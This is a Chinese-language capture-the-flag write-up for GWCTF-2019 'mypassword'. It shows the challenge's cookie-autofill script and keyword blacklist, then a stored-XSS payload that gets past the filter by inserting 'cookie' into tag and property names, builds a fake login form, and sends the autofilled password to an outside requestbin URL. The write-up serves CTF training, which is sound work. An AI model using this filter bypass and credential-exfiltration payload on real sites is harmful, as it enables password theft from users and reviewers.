GWCTF-2019 mypassword

Posted gr0wth

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了GWCTF-2019 mypassword相关的知识,希望对你有一定的参考价值。

查看源代码发现login.js文件

if (document.cookie && document.cookie != '') {
    var cookies = document.cookie.split('; ');
    var cookie = {};
    for (var i = 0; i < cookies.length; i++) {
        var arr = cookies[i].split('=');
        var key = arr[0];
        cookie[key] = arr[1];
    }
    if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
        document.getElementsByName("username")[0].value = cookie['user'];
        document.getElementsByName("password")[0].value = cookie['psw'];
    }
}

该文件有保存密码的功能。

注册进入feedback.php发现反馈界面,输入内容list.php便有显示

看到feedback.php界面是个反馈界面,可以大致猜测该题为xss。传入反馈信息,等待后端bot查看,返回数据。

查看feedback.php源码发现有过滤

if(is_array($feedback)){
                echo "<script>alert('反馈不合法');</script>";
                return false;
            }
            $blacklist = ['_',''','&','','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
            foreach ($blacklist as $val) {
                while(true){
                    if(stripos($feedback,$val) !== false){
                        $feedback = str_ireplace($val,"",$feedback);
                    }else{
                        break;
                    }
                }
            }

可以看到黑名单中只要出现cookie前面的内容,都会被过滤掉。所以这里就用添加cookie的方式要过绕过。

提交如下代码,构造登陆框。

<incookieput type="text" name="username" />
<incookieput type="password" name="password" />
<sccookieript scookierc="./js/login.js"></sccookieript>
<sccookieript>
    psw = docookiecument.gecookietElementsByName("password")[0].value;
    docookiecument.locookiecation = "http://http.requestbin.buuoj.cn/z18ihzz1/psw=" + psw;
</sccookieript>

等待bot点开,收flag就好了。

技术图片

提示:该做题环境位于buuctf,此环境不能访问外网。所以要用内网提供的环境来收flag

内网资源

以上是关于GWCTF-2019 mypassword的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF [GWCTF 2019]pyre WriteUp

[GWCTF 2019]枯燥的抽奖

刷题记录:[GWCTF 2019]我有一个数据库

BUU-WEB-[GWCTF 2019]枯燥的抽奖

[BJDCTF2020]Cookie is so stable && [GWCTF 2019]枯燥的抽奖

BUU[GWCTF 2019]pyre 1